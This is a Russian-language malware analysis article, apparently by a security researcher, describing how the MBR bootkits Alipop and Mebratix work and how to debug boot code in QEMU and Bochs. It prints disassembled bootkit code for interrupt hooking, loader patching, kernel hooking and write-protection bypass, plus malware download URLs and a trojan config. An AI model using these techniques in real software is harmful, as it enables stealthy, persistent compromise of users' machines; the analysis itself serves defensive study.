Exploit.SWF.Agent.br Pdfka.asd Pidief.cvl TDSS TDSS removal binary planting bios infection blind sqli bootkit bootkit remover browser exploitation com hijacking disassembling dll hijacking drive-by downloads hack online banks heap-spray hijack botnet ibank kernel protection kernel-mode rootkit keylogger malware analysis rootkit detection trojan virus removal


Буткиты: новый виток развития

Дмитрий Олексюк
системный архитектор, Esage Lab
dmitry@esagelab.com

В этой статье речь пойдет о буткитах — вредоносных программах, получающих управление до начала загрузки операционной системы посредством инфицирования главной загрузочной записи жесткого диска (MBR).

Статья также доступна на английском языке

Первый вредоносный буткит, известный под именами Sinowal и Mebroot, появился в 2007 году, и представлял собой на тот момент заметную инновацию. Затем последовало затишье: в течение трех лет технология заражения MBR практически не использовалась разработчиками вредоносного кода, несмотря на её привлекательность: антивирусы всегда плохо справлялись даже с хорошо изученным буткитом Sinowal, не говоря уже о технологии заражения MBR в целом.

И вот, относительно недавно свет увидели несколько новых вредоносных программ класса «буткит». Это знаковое событие, указывающее на то, что практика применения буткит-техник во вредоносных программах не закончится одиночными образцами, а, возможно, приобретёт более массовый характер.

Данная статья представляет собой, в первую очередь, обзор новых семейств буткитов. Особое внимание будет уделено принципам функционирования загрузочного кода, так как данный вопрос освещался только в докладе о концептуальной технологии eEye BootRoot от 2005 года.

Технические средства для анализа буткитов

Код буткита невозможно анализировать при помощи обычных отладчиков режима ядра, так как он начинает исполнятся на самом раннем этапе работы системы, а именно после того, как BIOS передаёт управление загрузочному сектору. Поэтому для отладки загрузочного кода могут быть использованы лишь виртуальные машины с возможностью отладки исполняемого кода. На данный момент необходимыми возможностями обладают виртуальные машины QEMU и Bochs. Рассмотрим каждую из этих программ подробнее.

Отладка при помощи QEMU

QEMU — свободно распространяемая программа с открытым исходным кодом. Её возможности включают в себя эмуляцию процессоров с архитектурой x86, x86-64 и многих других, а также устройств ввода-вывода. Поддерживается отладка эмулируемого кода с помощью отладчика GDB, что подробно описано в документации к QEMU.

Использование GDB в связке с QEMU

Использование GDB в связке с QEMU

По мнению автора статьи, вместо GDB удобнее использовать отладчик, встроенный в дизассемблер IDA Pro, начиная с версии 5.4. Процесс настройки отладчика и виртуальной машины подробно описан в документации к IDA Pro. Остановимся на некоторых особенностях, касающихся отладки загрузочного кода.

После подключения отладчика к виртуальной машине и инициализации сессии необходимо установить аппаратную точку останова на адрес 0000:7C00h, с которого начинает исполняться загрузочный код. Для этого перейдем на вкладку «Breakpoints» и в контекстном меню выберем пункт «Insert...»:

Добавление новой точки останова в IDA Pro

Добавление новой точки останова в IDA Pro

После добавления точки останова исполнение кода можно продолжить (F9).

Заметим, что для отладки 16-битного кода необходимо вручную отредактировать настройки сегмента после того, как сработает точка останова. Для этого откроем пункт главного меню «Edit» → «Segments» → «Edit Segment...» и установим 16-разрядный режим адресации для текущего сегмента:

Настройки сегмента в IDA Pro

Настройки сегмента в IDA Pro

После этого можно перейти в окно анализа кода и исследовать код загрузочного сектора.

Отладка загрузочного кода в IDA Pro

Отладка загрузочного кода в IDA Pro

Отладка при помощи Bochs

Bochs — свободно распространяемая система, возможности которой включают в себя эмуляцию процессоров архитектуры x86/x86-64 и устройств ввода-вывода.

Данная система отличается высокой точностью эмуляции, так как интерпретирует каждую инструкцию виртуального процессора. Однако по той же причине Bochs заметно проигрывает с точки зрения производительности не только популярным виртуальным машинам, таким как VMware или VirtualBox, но и вышеописанному эмулятору QEMU. Поэтому перед запуском Bochs целесообразно иметь уже готовый образ жесткого диска с установленной операционной системой. Такой образ можно создать с помощью QEMU.

Отладчик Bochs представляет собой отдельное приложение bochsdbg.exe, при запуске которого отображается диалоговое окно, позволяющее изменить настройки виртуальной машины, восстановить или сохранить её конфигурацию.

Окно запуска Bochs

Окно запуска Bochs

После запуска виртуальной машины открывается консоль отладчика с аскетичным, но достаточным для работы набором команд, список которых доступен по команде «help». Для установки точки останова на начало загрузочного кода достаточно набрать «lb 0x7c00» и затем «c» для продолжения исполнения кода.

Отладка кода в Bochs

Отладка кода в Bochs

Анализ новых буткитов

Backdoor.Win32.Trup.a (Alipop)

Буткит Alipop появился примерно в мае 2010 года. Он имеет китайское происхождение, о чем свидетельствуют рекламные всплывающие окна и AdWare на китайском языке.

Самозащита

Троян не применяет никаких техник для обхода проактивных защит, однако код большинства его процедур защищён от анализа при помощи старой, но достаточно эффективной техники. Её суть заключается в том, что ряд полезных инструкций процессора маскируется внутри более длинной цепочки опкодов, которая целиком расшифровывается дизассемблером как ложная инструкция.

.text:0040546D                 call    FindFirstFileA
.text:00405473                 cmp     eax, 0FFFFFFFFh
.text:00405476                 jz      short loc_405492
.text:00405478                 jz      near ptr loc_405484+1
.text:0040547E                 jnz     near ptr loc_405484+1
.text:00405484
.text:00405484 loc_405484:
.text:00405484                 call    near ptr 4248F1h
.text:00405489                 add     bh, bh
.text:0040548B                 adc     eax, offset Sleep
.text:00405490                 jmp     short loc_40545F

В действительности вышеприведенный код исполняется в следующем виде:

.text:0040546D                 call    FindFirstFileA
.text:00405473                 cmp     eax, 0FFFFFFFFh
.text:00405476                 jz      short loc_405492
.text:00405478                 jz      loc_405485
.text:0040547E                 jnz     loc_405485
.text:0040547E ; ---------------------------------------------------------------------------
.text:00405484                 db 0E8h
.text:00405485 ; ---------------------------------------------------------------------------
.text:00405485
.text:00405485 loc_405485:
.text:00405485                 push    1F4h
.text:0040548A                 call    Sleep
.text:00405490                 jmp     short loc_40545F

Как видно из листинга, пятибайтовая инструкция call по адресу 00405484 не несёт полезной нагрузки, поскольку предшествующие ей переходы всегда передают управление по адресу 00405485, где на самом деле находится инструкция push. Использование данного приёма затрудняет анализ кода в дизассемблере IDA, а его декомпиляция с помощью HexRays оказывается невозможной без предварительной обработки кода.

Инсталлятор

Инсталлятор буткита представляет собой исполняемый файл размером около 24 кБ (MD5: 3f5cff08b83a0a9ad5f8e0973b77a2ac), внутри которого содержатся все остальные компоненты буткита.

При запуске инсталлятора создается и запускается файл C:\WINDOWS\ali.exe (MD5: 570e6e5c1d0c95c5a446f6f62fa90468, размер около 17 кБ), который содержит в себе основной рабочий код трояна.

Для обеспечения автозагрузки инсталлятор записывает код буткита в первые 40 секторов жесткого диска:

"CreateFile", "\Device\Harddisk0\DR0", "Desired Access: Generic Read/Write, Disposition: Open"
"ReadFile",   "\Device\Harddisk0\DR0", "Offset: 0, Length: 20,480, I/O Flags: Non-cached"
"WriteFile",  "\Device\Harddisk0\DR0", "Offset: 0, Length: 20,480, I/O Flags: Non-cached"
"CloseFile",  "\Device\Harddisk0\DR0"
Инфицированная MBR

Инфицированная MBR

Код буткита вызывается при следующей перезагрузке системы.

Загрузочный код

Загрузочный код буткита, во-первых, резервирует 20 кБ базовой памяти. Для этого он уменьшает значение объёма базовой памяти в соответствующей переменной BIOS по адресу 0040h:0013h. В зарезервированную область с помощью функции 2 прерывания 13h считываются компоненты буткита из первых 40 секторов жесткого диска, после чего управление передается прочитанному коду.

seg000:001F                 pushad
seg000:0021                 push    ds
seg000:0022                 mov     bx, word ptr cs:0413h
seg000:0027                 sub     bx, 14h ; Резервирование 20 кБ памяти
seg000:002B                 and     bl, 0FCh
seg000:002E                 mov     word ptr cs:0413h, bx
seg000:0033                 shl     bx, 6 ; Вычисление линейного адреса зарезервированного региона
seg000:0036                 mov     es, bx
seg000:0038                 xor     bx, bx
seg000:003A                 mov     ax, 228h ; Считывание первых 40 секторов 
seg000:003D                 mov     cx, 1
seg000:0040                 mov     dx, 80h
seg000:0043                 int     13h     
seg000:0045                 push    es
seg000:0046                 push    4Ah ; Передача управления прочитанному коду по смещению 4Ah
seg000:0049                 retf

Прочитанные код и данные, начиная со смещения 83h, зашифрованы с помощью обратимой операции ROR, и далее происходит их расшифровка. После расшифровки буткит устанавливает перехват прерывания 13h BIOS, что позволяет осуществлять контроль за операциями чтения с диска на начальных этапах загрузки системы. Наконец, происходит вызов оригинального загрузчика ОС, сохранённого инсталлятором буткита в секторе 39.

seg000:0083                 mov     eax, dword ptr es:004Сh
seg000:0088                 mov     dword ptr cs:00F3h, eax ; Сохранение оригинального обработчика int 13h
seg000:008D                 and     dword ptr es:004Сh, 0
seg000:0097                 or      word ptr es:004Сh, 0E6h ; Установка нового адреса обработчика
seg000:009E                 mov     word ptr es:004Eh, cs   ; Установка нового селектора обработчика
seg000:00A3                 xor     ebx, ebx
seg000:00A6                 mov     bx, cs
seg000:00A8                 shl     ebx, 4

                            ...                            
                            
seg000:00C5                 mov     di, 7C00h
seg000:00C8                 push    cs
seg000:00C9                 pop     ds
seg000:00CA                 mov     si, 4C00h ; Копирование оригинального загрузочного сектора на 7C00h
seg000:00CD                 mov     cx, 200h
seg000:00D0                 cld
seg000:00D1                 rep movsb
seg000:00D3                 pop     ds
seg000:00D4                 popad
seg000:00D6                 lss     sp, dword ptr es:0602h  ; Восстановление sp
seg000:00DC                 mov     es, word ptr es:0600h   ; Восстановление es
seg000:00E1                 jmp     far ptr 0:7C00h         ; Переход к исполнению оригинального загрузочного кода

Перехват прерывания 13h устанавливается с целью модификации кода модуля OSLOADER.EXE, представляющего собой часть модуля NTLDR, при его чтении с системного раздела. Задача осуществляемой модификации — передача управления на код буткита, исполняемый в защищённом режиме: именно в этом режиме исполняется OSLOADER.EXE.

Код OSLOADER.EXE, подлежащий модификации, ищется по сигнатуре в буфере со считанными в результате отработки прерывания данными:

seg000:0120                 mov     di, bx  ; di - указатель на буфер с данными
seg000:0122                 mov     al, 8Bh ; первый байт сигнатуры
seg000:0124                 cld
seg000:0125
seg000:0125 loc_125:
seg000:0125                 repne scasb
seg000:0127                 jnz     short loc_159
seg000:0129                 cmp     dword ptr es:[di], 74F685F0h ; 2-5 байты сигнатуры
seg000:0131                 jnz     short loc_125
seg000:0133                 cmp     word ptr es:[di+4], 8021h ; 6-7 байты сигнатуры
seg000:0139                 jnz     short loc_125
seg000:013B                 push    es
seg000:013C                 xor     eax, eax
seg000:013F                 mov     es, ax
seg000:0141                 mov     ax, cs
seg000:0143                 shl     eax, 4
seg000:0147                 add     eax, 200h
seg000:014D                 pop     es
seg000:014E                 mov     word ptr es:[di-1], 15FFh ; Запись инструкции call dword ptr [addr]
seg000:0154                 mov     es:[di+1], eax

Искомый код OSLOADER представляет собой следующий набор инструкций:

.text:00422B77                 call    _BlLoadBootDrivers@12
.text:00422B7C                 mov     esi, eax
.text:00422B7E                 test    esi, esi
.text:00422B80                 jz      short loc_422BA3
.text:00422B82
.text:00422B82 loc_422B82: 
.text:00422B82                 cmp     _BlRebootSystem, 0
.text:00422B89                 jz      short loc_422B92

Приведенный фрагмент относится к функции _BlOsLoader@12(). Модифицируемые буткитом байты непосредственно следуют за вызовом функции _BlLoadBootDrivers@12(). Эта функция загружает в память драйверы системных сервисов, имеющих тип запуска SERVICE_BOOT_START. Код модификации представляет собой инструкцию call, которая передаёт управление резидентному коду буткита, находящемуся в зарезервированной базовой памяти по смещению 200h. Таким образом, код буткита получит управление в тот момент, когда процессор будет находится в 32-битном защищённом режиме.

Код защищённого режима

Код буткита защищённого режима начинает своё исполнение с получения адреса загрузки ядра. Этот адрес извлекается из первой записи списка загруженных модулей, представляющей собой структуру типа LDR_DATA_TABLE_ENTRY. Указатель на список загруженных модулей может быть получен из глобальной переменной _BlLoaderBlock модуля OSLOADER.EXE. В частности, переменная _BlLoaderBlock содержит указатель на структуру _LOADER_PARAMETER_BLOCK, копия которого используется как локальная переменная в коде функции _BlAllocateDataTableEntry@16(). Для поиска этого участка кода буткит также использует сигнатуру.

Кроме того, виртуальный адрес памяти, по которому загружается NTLDR и другие системные модули, извлекается из локальной переменной KdDllBase, к которой модифицированная функция _BlOsLoader@12() обращается по фиксированному смещению от ebp:

seg001:00000206                 mov     edi, [esp+24h]  ; edi - значение переменной KdDllBase
seg001:0000020A                 and     edi, 0FFF00000h
seg001:00000210                 cld
seg001:00000211                 mov     al, 0C7h ; Первый байт сигнатуры для поиска _BlLoaderBlock
seg001:00000213 loc_213:
seg001:00000213                 scasb
seg001:00000214                 jnz     short loc_213
seg001:00000216                 cmp     dword ptr [edi], 40003446h ; Остальные 4-е байта сигнатуры
seg001:0000021C                 jnz     short loc_213
seg001:0000021E                 mov     al, 0A1h
seg001:00000220 loc_220: 
seg001:00000220                 scasb
seg001:00000221                 jnz     short loc_220
seg001:00000223                 mov     esi, [edi]      ; esi - указатель на список загруженных модулей
seg001:00000225                 mov     esi, [esi]      ; esi - указатель на первую _LDR_DATA_TABLE_ENTRY
seg001:00000227                 lodsd
seg001:00000228                 mov     ebx, [eax+18h]  ; ebx - адрес загрузки ядра
seg001:0000022B                 call    sub_267

В процедуре sub_267 выполняется перехват функции ядра nt!IoGetCurrentProcess() таким образом, что бы при её вызове управление получал код буткита следующего, третьего этапа, которому необходимо исполняться в 32-разрядном защищённом режиме после инициализации ядра операционной системы.

seg001:00000267                 pop     esi ; Получаем адрес кода буткита по адресу возврата
seg001:00000268                 mov     ecx, 37h
seg001:0000026D                 mov     [esi+2B6h], ebx
seg001:00000273                 lea     edi, [ebx+40h]
seg001:00000276                 mov     ebp, edi
seg001:00000278                 rep movsb   ; Копируем код буткита по смещению 0x230-0x267 в заголовок образа ядра поверх DOS stub
seg001:0000027A                 push    0CE8C3177h     
seg001:0000027F                 call    GetProcByHash  ; Получаем адрес IoGetCurrentProcess по хэшу от имени
seg001:00000284                 xchg    eax, esi
seg001:00000285                 sub     edi, 0Ah
seg001:0000028B                 movsd  ; Сохраняем первые 5 байт функции
seg001:0000028C                 sub     edi, 6
seg001:00000292                 movsb
seg001:00000293                 mov     byte ptr [esi-5], 0E8h
seg001:00000297                 sub     ebp, esi
seg001:00000299                 mov     [esi-4], ebp ; Модификация IoGetCurrentProcess вызовом по адресу nt+0x40

Обычно, первый вызов функции nt!IoGetCurrentProcess() происходит по завершению инициализации ядра с помощью функции nt!Phase1Initialization():

kd> kb
ChildEBP RetAddr  Args to Child  
f9dc35f0 80688d7e 8198c338 8008ecb8 8008ecb8 nt+0x40
f9dc3630 8068ac22 8198c3ec 8008ecb8 0000000c nt!IopInitializeBuiltinDriver+0x260
f9dc3694 80687b48 80082000 f9dc36b0 00034000 nt!IopInitializeBootDrivers+0x2d2
f9dc383c 80685fdd 80082000 00000000 819cc538 nt!IoInitSystem+0x712
f9dc3dac 805c6160 80082000 00000000 00000000 nt!Phase1Initialization+0x9b5
f9dc3ddc 80541dd2 80685628 80082000 00000000 nt!PspSystemThreadStartup+0x34
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16

kd> u nt!IoGetCurrentProcess
nt!IoGetCurrentProcess:
804ee608 e8338afeff      call    nt+0x40 (804d7040)
804ee60d 008b4044c3cc    add     byte ptr [ebx-333CBBC0h],cl
804ee613 cc              int     3
804ee614 cc              int     3
804ee615 cc              int     3
804ee616 cc              int     3
804ee617 cc              int     3

Код, выполняемый после инициализации ядра

«Полезная нагрузка» — часть кода трояна, выполняющая основную работу, в отличие от служебного кода вредоносной программы, который обеспечивает инсталляцию, функционирование и самозащиту трояна.

Обработчик перехвата nt!IoGetCurrentProcess() выполняет восстановление оригинального кода функции, после чего вызывает nt!PsCreateSystemThread() для запуска системного потока, который выполняет код «полезной нагрузки» буткита. Код «полезной нагрузки» делает следующее:

  1. Создаёт в ключе реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run строковый параметр со значением «C:\WINDOWS\ali.exe», обеспечивая запуск троянского процесса по завершению загрузки системы.
  2. Создаёт файл C:\WINDOWS\ali.exe, содержимое которого на этапе инсталляции буткита в систему записывается инсталлятором, начиная с сектора 4 жесткого диска.
  3. Устанавливает шлюз вызова в GDT, благодаря которому любой код пользовательского режима получает возможность исполнения произвольных инструкций с наивысшими привилегиями.
Шлюз вызова в GDT («чёрный ход»)

Шлюз вызова в GDT («чёрный ход»)

Таким образом, разработчики буткита Alipop отказались от традиционной техники использования драйвера режима ядра, предпочтя использование процесса пользовательского режима — более простую и менее скрытную технику. Возможно также, что данный буткит разрабатывался в качестве универсального средства для запуска произвольных вредоносных программ из загрузочного сектора.

Троянский процесс

Основная задача процесса ali.exe — получение с сервера команд на скачивание и запуск других вредоносных программ. При этом для отправки HTTP-запросов используется процесс браузера Internet Explorer, запускаемый со скрытым окном.

Троянский процесс

Троянский процесс

Запрос файла конфигурации с сервера

Запрос файла конфигурации с сервера

Зашифрованный файл конфигурации трояна загружается с сервера по фиксированному адресу http://list.577q.com/sms/xxx.ini и сохраняется в каталоге C:\WINDOWS под именем win.ini.

Пример содержимого файла конфигурации:

[DownLoad]
exe1=coopen_setup_100201.exe-8.0|http://download.coopen.cn/setup/v5/coopen_setup_100201.exe
exe2=pptv(pplive)jixian_113459_s.exe-1.0|http://60.173.10.28:4321/pptv(pplive)jixian_113459_s.exe
[ad]
ad1=12
[HomePage]
home=http://www.67ku.com
[Time]
DownLoadIniTime=120
PopAdTime=2
DownLoadLelayTime=1
RunDelayTime=0
FirstRunExeTime=2
FirstPopWidTime=1
cjver=2
cjaddr=
[Link]
Link1=|http://66.79.168.187:55325/tuling.html

Троян Alipop, хотя и использует технику заражения загрузочного сектора, может быть легко обнаружен и удален, так как в нём отсутствуют механизмы сокрытия вредоносной активности. Не предусмотрен в нем и защитный механизм восстановления загрузочного сектора буткита при попытке его перезаписи. Благодаря всему этому возможно излечить зараженную систему путем ручного восстановления загрузочной записи с помощью любого шестнадцатеричного дискового редактора (например, WinHex).

Mebratix.b (Ghost Shadow)

Symantec Security Response. Trojan.Mebratix.B — the Ghost in MBR.

Информация о бутките Mebratix впервые была опубликована в блоге компании Symantec.

Инсталлятор этого буткита (MD5: 1b465d5c330d99bdccffd299bf71010f, размер около 30 кБ) не отличается чем-либо примечательным.

Загрузочный код

Загрузочный код буткита Mebratix полностью идентичен стандартному загрузочному коду Windows, за исключением единственной трёхбайтовой инструкции. Рассмотрим оба дизассемблированных кода.

Загрузочный код Windows:

seg000:00CA                 mov     ax, 201h   ; ah - номер функции 13-го прерывания 13h (02h, чтение данных с диска) 
                                               ; al - количество считываемых секторов
seg000:00CD                 mov     bx, 7C00h  ; Адрес буфера, в который считываются данные
seg000:00D0                 mov     cx, [bp+2] ; Номер дорожки и сектора (bp указывает на запись в таблице разделов)
seg000:00D3                 mov     dx, [bp+0] ; Номер головки и диска
seg000:00D6                 int     13h
seg000:00D8                 jnb     short locret_12B

Загрузочный код Mebratix:

seg000:00CA                 mov     ax, 201h   ; ah - номер функции 13-го прерывания 13h (02h, чтение данных с диска) 
                                               ; al - количество считываемых секторов
seg000:00CD                 mov     bx, 7C00h  ; Адрес буфера, в который считываются данные
seg000:00D0                 mov     cx, 2      ; Номер дорожки и сектора (bp указывает на запись в таблице разделов)
seg000:00D3                 mov     dx, [bp+0] ; Номер головки и диска
seg000:00D6                 int     13h
seg000:00D8                 jnb     short locret_12B

Как видно из вышеприведенных листингов, загрузочный код Mebratix отличается от стандартного аргументами к инструкции mov, находящейся по смещению 00D0h от начала загрузочного кода. Исходный вариант кода, по замыслу его разработчиков, выполняет чтение и передачу управления в первый сектор загрузочного раздела, а код буткита — во второй сектор диска, содержащий продолжение вредоносного кода.

Загрузочный код Mebratix (отличающаяся от кода стандартного загрузчика инструкция выделена)

Загрузочный код Mebratix (отличающаяся от кода стандартного загрузчика инструкция выделена)

Код буткита, содержащийся во втором секторе диска, выполняет резервирование 63 кБ базовой памяти тем же способом, что и буткит Alipop, затем копирует самого себя по адресу 9700:0000h и устанавливает перехватчик прерывания 13h:

seg000:0229                 mov     si, 533h
seg000:022C                 xor     si, 120h
seg000:0230                 lodsw  ; Чтение слова, находящегося по 0040h:0013h (размер базовой памяти в килобайтах)
seg000:0231                 sub     si, 2
seg000:0234                 shl     ax, 6
seg000:0237                 and     ax, 0FFFh
seg000:023A                 shr     ax, 6
seg000:023D                 sub     [si], ax ; Резервирование 63 Кб базовой памяти
seg000:023F                 xor     eax, eax
seg000:0242                 mov     ax, 9700h
seg000:0245                 mov     es, ax
seg000:0247                 assume es:nothing
seg000:0247                 shl     eax, 4
seg000:024B                 mov     si, 7C00h
seg000:024E                 xor     di, di
seg000:0250                 mov     ecx, 100h
seg000:0256                 rep movsw ; Копирование кода сектора 2 по адресу 9700:0000h
seg000:0258                 mov     es:0Eh, eax
seg000:025D                 xor     bx, bx
seg000:025F                 mov     eax, [bx+4Ch]   
seg000:0263                 mov     word ptr [bx+4Ch], 0F9h ; Установка адреса обработчика прерывания 13h
seg000:0268                 mov     es:106h, eax            ; Сохранение адреса оригинального обработчика
seg000:026D                 mov     word ptr [bx+4Eh], es   ; Установка нового значения селектора обработчика
seg000:0270                 push    es
seg000:0271                 push    75h ; Передача управления коду по смещению 75h
seg000:0274                 retf

Следующая часть загрузочного кода выполняет чтение 59 секторов жесткого диска (начиная с сектора 3) в память по адресу 9700:0200h. В этих секторах хранятся все остальные компоненты буткита, причём сектора с 3 по 6 зашифрованы с помощью операции xor, ключевой байт для которой вычисляется динамически на каждой итерации. Ниже приведен фрагмент кода, выполняющего расшифровку секторов.

seg000:0297                 mov     esi, 200h       ; Указатель на прочитанные данные
seg000:029D                 mov     ebx, 3333h      ; Стартовая константа для вычисления ключа
seg000:02A3                 mov     ecx, 600h       ; Размер данных, подлежащих расшифровке (3 сектора)
seg000:02A9 loc_2A9:
seg000:02A9                 call    GetXorKey       ; Получаем ключ для текущей итерации
seg000:02AC                 xor     [esi], al
seg000:02AF                 add     esi, 1
seg000:02B3                 sub     ecx, 1
seg000:02B7                 jnz     short loc_2A9

                            ...                            
                            
seg000:03C5 GetXorKey       proc near               ; Процедура вычисления ключа
seg000:03C5                 imul    ebx, 343FDh     
seg000:03CC                 add     ebx, 269EC3h
seg000:03D3                 mov     eax, ebx
seg000:03D6                 shr     eax, 10h
seg000:03DA                 and     eax, 0FFh
seg000:03E0                 retn
seg000:03E0 GetXorKey       endp

Возможно, код вычисления ключа был вынесен разработчиками буткита в отдельную процедуру для обеспечения полиморфности, однако, получившие распространение экземпляры буткита использовали статический код.

Обработчик перехвата прерывания 13h выполняет модификацию кода модуля OSLOADER.EXE точно таким же образом, как это делает буткит Alipop.

Код защищённого режима

Код буткита защищённого режима, вызываемый из модифицированного модуля OSLOADER.EXE, служит для инициализации и запуска драйвера режима ядра буткита. Рассмотрим этот код подробнее.

seg001:00000604                 mov     esi, eax
seg001:00000606                 mov     eax, [esp-4]
seg001:0000060A                 and     eax, 0FFFFF000h ; Получение адреса переменной BootDriverListHead
seg001:0000060F                 push    ebx
seg001:00000610                 call    $+5
seg001:00000615                 pop     ebx
seg001:00000616                 and     ebx, 0FFFFF000h
seg001:0000061C                 or      ebx, 600h ; Вычисление адреса кода буткита защищённого режима по адресу возврата
seg001:00000622                 mov     [ebx], eax ; Сохранение BootDriverListHead
seg001:00000624                 mov     eax, esi
seg001:00000626                 pop     ebx
seg001:00000627                 test    eax, eax
seg001:00000629                 pushf
seg001:0000062A                 jnz     short loc_634
seg001:0000062C                 add     dword ptr [esp+4], 0
seg001:00000631                 jmp     short loc_634
seg001:00000634 loc_634:
seg001:00000634                 pusha
seg001:00000635                 call    $+5
seg001:0000063A                 pop     ebx
seg001:0000063B                 and     ebx, 0FFFFF000h
seg001:00000641                 lea     ecx, large ds:106h
seg001:00000647                 mov     eax, [ebx+ecx] ; Получение сохранённого адреса обработчика прерывания 13h
seg001:0000064A                 mov     ecx, cr0
seg001:0000064D                 push    ecx
seg001:0000064E                 btr     ecx, 10h ; Сброс бита WP (отключение защиты на запись виртуальной памяти)
seg001:00000652                 mov     cr0, ecx
seg001:00000655                 or      byte ptr ds:0C0000000h, 3
seg001:0000065C                 mov     large ds:4Ch, eax ; Восстановление оригинального обработчика прерывания 13h
seg001:00000661                 mov     byte ptr ds:0C0000000h, 20h
seg001:00000668                 pop     ecx
seg001:00000669                 mov     cr0, ecx ; Установка сброшенного бита WP
seg001:0000066C                 or      ebx, 600h
seg001:00000672                 mov     eax, [ebx]
seg001:00000674                 sub     ebx, 600h
seg001:0000067A                 mov     esi, eax   ; esi - BootDriverListHead
seg001:0000067C loc_67C:
seg001:0000067C                 mov     esi, [esi] ; esi - указатель на _LDR_DATA_TABLE_ENTRY для конкретного модуля
seg001:0000067E                 cmp     esi, eax
seg001:00000680                 jz      loc_763
seg001:00000686                 mov     ecx, [esi+18h]       ; Получение адреса загрузки модуля из _LDR_DATA_TABLE_ENTRY
seg001:00000689                 cmp     word ptr [ecx], 'ZM' ; Проверка сигнатуры MZ заголовка модуля

                                ...

После выполнения этого кода буткит выполняет перебор всех загруженных в память исполняемых модулей с целью поиска в них секции, в конце которой присутствует 200h или более байт свободного пространства. В найденный таким образом модуль выполняется копирование кода загрузчика драйвера буткита, который изначально находился в секторе 4 жесткого диска.

seg001:000006C7 loc_6C7: 
seg001:000006C7                 sub     edx, 28h ; '('
seg001:000006CA                 mov     ecx, [edx+8]       ; ecx - VirtualSize секции
seg001:000006CD                 or      ecx, 0FFFh
seg001:000006D3                 sub     ecx, 1FFh
seg001:000006D9                 add     ecx, [edx+0Ch]     ; Добавляем к ecx VirtualAddress
seg001:000006DC                 add     ecx, [esi+18h]     ; Добавляем к ecx адрес загрузки модуля
seg001:000006DF                 cmp     dword ptr [ecx], 0 ; Проверка наличия свободного пространства в конце секции
seg001:000006E2                 jnz     short loc_67C      
seg001:000006E4                 mov     edi, ecx
seg001:000006E6                 push    edi
seg001:000006E7                 lea     esi, [ebx+600h]
seg001:000006ED                 mov     ecx, 80h           
seg001:000006F2                 rep movsd                  ; Копирование 200h байт

В большинстве случаев для хранения кода буткитом будет использована секция .data, принадлежащая загруженному в память образу ядра операционной системы. Как видно из дампа заголовка соответствующего модуля, в секции .data достаточно места для внедрения кода загрузчика.

kd> dh -s nt

...

SECTION HEADER #5
   .data name
   16EA0 virtual size
   6E800 virtual address
   16F00 size of raw data
   6E800 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C8000040 flags
         Initialized Data
         Not Paged
         (no align specified)
         Read Write         
...

Для передачи управления коду загрузчика драйвера буткит модифицирует функцию ядра nt!PspCreateProcess() таким образом, что бы в её начале вместо вызова функции nt!_SEH_prolog() осуществлялся вызов загрузчика драйвера буткита.

Код функции nt!PspCreateProcess() до модификации:

kd> u nt!PspCreateprocess
nt!PspCreateProcess:
805d0866 681c010000      push    11Ch
805d086b 68c8a84d80      push    offset nt!ObWatchHandles+0x664
805d0870 e81bb3f6ff      call    nt!_SEH_prolog

Код функции nt!PspCreateProcess() после модификации:

nt!PspCreateProcess:
805c6a8c 681c010000      push    11Ch
805c6a91 68b09e4d80      push    offset nt!ObWatchHandles+0x664
805c6a96 e88af8f7ff      call    80546325

Так как функция nt!PspCreateProcess() не экспортируется ядром, буткит выполняет её поиск путём анализа кода экспортируемой функции nt!PsCreateSystemProcess(), а именно побайтовым поиском опкода первой инструкции call (E8h), аргументом которой и является адрес функции nt!PspCreateProcess():

kd> u nt!PsCreateSystemProcess+0xa
nt!PsCreateSystemProcess+0xa:
805d11da 50              push    eax
805d11db 50              push    eax
805d11dc ff35d0c26780    push    dword ptr [nt!PspInitialSystemProcessHandle]
805d11e2 ff7510          push    dword ptr [ebp+10h]
805d11e5 ff750c          push    dword ptr [ebp+0Ch]
805d11e8 ff7508          push    dword ptr [ebp+8]
805d11eb e876f6ffff      call    nt!PspCreateProcess
805d11f0 5d              pop     ebp

Обычно первый вызов nt!PspCreateProcess() происходит на этапе инициализации исполнительной подсистемы ядра:

kd> kb
ChildEBP RetAddr  Args to Child              
805499a0 8069c0dc 8066fb50 001f0fff 80549a24 nt!PspCreateProcess+0xa
80549a4c 8069c419 80078000 80549be8 8068509c nt!PspInitPhase0+0x34e
80549a58 8068509c 00000000 80078000 80552740 nt!PsInitSystem+0x33
80549be8 80691f28 00000000 80078000 8003fc00 nt!ExpInitializeExecutive+0x742
80549c3c 8068fa9f 805529a0 80552740 80549f00 nt!KiInitializeKernel+0x3b2
00000000 00000000 00000000 00000000 00000000 nt!KiSystemStartup+0x2bf

Загрузчик драйвера

Код загрузчика драйвера режима ядра буткита выполняет следующие действия:

  1. Получение PID текущего процесса с помощью функции nt!PsGetCurrentProcessId(). Если полученное значение отличается от 4 (фиксированное значение PID для процесса System), — происходит вызов nt!_SEH_prolog() и возврат в nt!PspCreatepProcess().
  2. Получение адреса глобальной переменной ядра nt!psLoadedModulesList путём сигнатурного анализа кода функции nt!KeCapturePersistentThreadState().
  3. Выделение 10000h байт памяти для образа драйвера режима ядра буткита с помощью функции nt!ExAllocatePoolWithTag().
  4. Копирование заголовков и секций драйвера в выделенную область памяти.
  5. Восстановление модифицированного кода функции nt!PspCreateprocess().
  6. Вызов точки входа драйвера буткита.

Драйвер и «полезная нагрузка»

Назначение драйвера буткита — внедрение кода пользовательского режима в процесс explorer.exe и установка перехватов на обработчики IRP-запросов типа IRP_MJ_READ/IRP_MJ_WRITE драйвера класса диска Disk.sys (\Driver\Disk). Указанные перехваты обеспечивают защиту секторов диска, в которых хранятся компоненты буткита, от попыток чтения или перезаписи со стороны антивирусных программ. Стоит отметить, что код драйвера работает нестабильно, и во многих случаях при заражении компьютера не происходит установки перехватов и внедрения кода пользовательского режима.

Код пользовательского режима отправляет HTTP-запросы на сервер meifawu.com. Файл конфигурации трояна загружается с адреса http://meifawu.com/n.txt.

Отправляемые на сервер запросы

Отправляемые на сервер запросы

Black Internet Trojan

Буткит под названием Black Internet Trojan появился совсем недавно. Из всех новых буткитов он наименее известен, но и наиболее распространён, о чем можно судить по активности на антивирусных форумах. Одним из первых источников, в которых появилась информация о заражении, был англоязычный антивирусный форум MajorGeeks, а несколькими днями позже о нём сообщили и на русскоязычном VirusInfo.

Инсталлятор и самозащита

